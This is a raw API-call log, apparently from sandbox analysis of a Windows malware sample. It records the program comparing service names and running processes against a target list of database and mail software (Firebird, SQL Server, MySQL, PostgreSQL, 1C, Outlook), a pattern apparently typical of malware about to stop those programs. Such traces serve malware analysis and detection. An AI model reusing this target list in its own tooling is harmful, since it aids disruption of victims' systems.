lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0183.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0183.521] lstrlenW (lpString="BFE") returned 3 [0183.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0183.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0183.521] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0183.521] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0183.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0183.521] lstrlenW (lpString="CryptSvc") returned 8 [0183.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0183.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0183.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0183.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0183.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0183.521] lstrlenW (lpString="CscService") returned 10 [0183.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0183.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0183.521] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0183.521] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0183.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0183.521] lstrlenW (lpString="DcomLaunch") returned 10 [0183.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0183.521] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0183.521] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0183.521] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0183.521] lstrlenW (lpString="Dhcp") returned 4 [0183.521] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0183.521] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0183.521] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0183.521] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0183.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0183.522] lstrlenW (lpString="Dnscache") returned 8 [0183.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0183.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0183.522] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0183.522] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0183.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0183.522] lstrlenW (lpString="DPS") returned 3 [0183.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0183.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0183.522] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0183.522] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0183.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0183.522] lstrlenW (lpString="eventlog") returned 8 [0183.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0183.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0183.522] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0183.522] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0183.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0183.522] lstrlenW (lpString="EventSystem") returned 11 [0183.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0183.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0183.522] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0183.522] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0183.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0183.522] lstrlenW (lpString="gpsvc") returned 5 [0183.522] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0183.522] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0183.522] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0183.522] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0183.522] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0183.522] lstrlenW (lpString="iphlpsvc") returned 8 [0183.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0183.523] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0183.523] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0183.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0183.523] lstrlenW (lpString="LanmanServer") returned 12 [0183.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0183.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0183.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0183.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0183.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0183.523] lstrlenW (lpString="LanmanWorkstation") returned 17 [0183.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0183.523] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0183.523] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0183.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0183.523] lstrlenW (lpString="lmhosts") returned 7 [0183.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0183.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0183.523] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0183.523] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0183.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0183.523] lstrlenW (lpString="MMCSS") returned 5 [0183.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0183.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0183.523] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0183.523] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0183.523] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0183.523] lstrlenW (lpString="MpsSvc") returned 6 [0183.523] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0183.523] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0183.524] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0183.524] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0183.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0183.524] lstrlenW (lpString="Netman") returned 6 [0183.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0183.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0183.524] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0183.524] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0183.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0183.524] lstrlenW (lpString="netprofm") returned 8 [0183.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0183.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0183.524] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0183.524] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0183.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0183.524] lstrlenW (lpString="NlaSvc") returned 6 [0183.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0183.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0183.524] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0183.524] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0183.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0183.524] lstrlenW (lpString="nsi") returned 3 [0183.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0183.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0183.524] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0183.524] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0183.524] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0183.524] lstrlenW (lpString="PcaSvc") returned 6 [0183.524] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0183.524] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0183.524] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0183.525] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0183.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0183.525] lstrlenW (lpString="PlugPlay") returned 8 [0183.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0183.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0183.525] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0183.525] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0183.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0183.525] lstrlenW (lpString="Power") returned 5 [0183.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0183.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0183.525] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0183.525] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0183.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0183.525] lstrlenW (lpString="ProfSvc") returned 7 [0183.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0183.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0183.525] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0183.525] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0183.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0183.525] lstrlenW (lpString="RpcEptMapper") returned 12 [0183.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0183.525] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0183.525] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0183.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0183.525] lstrlenW (lpString="RpcSs") returned 5 [0183.525] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0183.525] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0183.525] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0183.525] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0183.525] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0183.526] lstrlenW (lpString="SamSs") returned 5 [0183.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0183.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0183.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0183.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0183.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0183.526] lstrlenW (lpString="Schedule") returned 8 [0183.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0183.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0183.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0183.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0183.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0183.526] lstrlenW (lpString="SENS") returned 4 [0183.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0183.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0183.526] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0183.526] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0183.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0183.526] lstrlenW (lpString="ShellHWDetection") returned 16 [0183.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0183.526] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0183.526] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0183.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0183.526] lstrlenW (lpString="Spooler") returned 7 [0183.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0183.526] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0183.526] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0183.526] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0183.526] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0183.526] lstrlenW (lpString="SysMain") returned 7 [0183.526] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0183.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0183.527] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0183.527] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0183.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0183.527] lstrlenW (lpString="Themes") returned 6 [0183.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0183.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0183.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0183.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0183.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0183.527] lstrlenW (lpString="TrkWks") returned 6 [0183.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0183.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0183.527] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0183.527] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0183.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0183.527] lstrlenW (lpString="UxSms") returned 5 [0183.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0183.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0183.527] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0183.527] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0183.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0183.527] lstrlenW (lpString="WdiServiceHost") returned 14 [0183.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0183.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0183.527] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0183.527] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0183.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0183.527] lstrlenW (lpString="WdiSystemHost") returned 13 [0183.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0183.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0183.528] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0183.528] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0183.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0183.528] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0183.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0183.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0183.528] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0183.528] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0183.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0183.528] lstrlenW (lpString="Winmgmt") returned 7 [0183.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0183.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0183.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0183.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0183.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0183.528] lstrlenW (lpString="WPDBusEnum") returned 10 [0183.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0183.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0183.528] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0183.528] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0183.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0183.528] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3cfd2e8 | out: hHeap=0x5c0000) returned 1 [0183.528] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0183.530] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.533] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0183.533] lstrlenW (lpString="System") returned 6 [0183.533] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0183.533] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0183.533] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0183.533] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0183.533] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0183.533] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0183.533] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0183.533] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0183.533] lstrlenW (lpString="smss.exe") returned 8 [0183.533] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0183.533] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0183.534] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0183.534] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0183.534] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0183.534] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0183.534] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0183.534] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.534] lstrlenW (lpString="csrss.exe") returned 9 [0183.534] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0183.534] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0183.534] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0183.534] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0183.534] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0183.534] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0183.534] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0183.534] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0183.534] lstrlenW (lpString="wininit.exe") returned 11 [0183.535] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0183.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0183.535] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0183.535] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0183.535] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0183.535] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0183.535] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0183.535] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0183.535] lstrlenW (lpString="csrss.exe") returned 9 [0183.535] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0183.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0183.535] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0183.535] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0183.535] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0183.535] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0183.535] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0183.536] lstrlenW (lpString="winlogon.exe") returned 12 [0183.536] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0183.536] lstrlenW (lpString="services.exe") returned 12 [0183.536] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0183.536] lstrlenW (lpString="lsass.exe") returned 9 [0183.536] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0183.537] lstrlenW (lpString="lsm.exe") returned 7 [0183.537] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.537] lstrlenW (lpString="svchost.exe") returned 11 [0183.537] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0183.538] lstrlenW (lpString="svchost.exe") returned 11 [0183.538] Process32NextW (in: hSnapshot=0x1ec, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 